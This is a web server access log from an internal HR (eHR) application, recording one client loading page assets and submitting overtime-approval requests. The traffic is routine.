192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:24:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1147948 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1147948
192.168.11.104 - - [06/Sep/2025:11:24:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:24:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:24:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:25:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:25:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:25:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 726894 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 726894
192.168.11.104 - - [06/Sep/2025:11:25:18 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:18 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:25:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:25:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
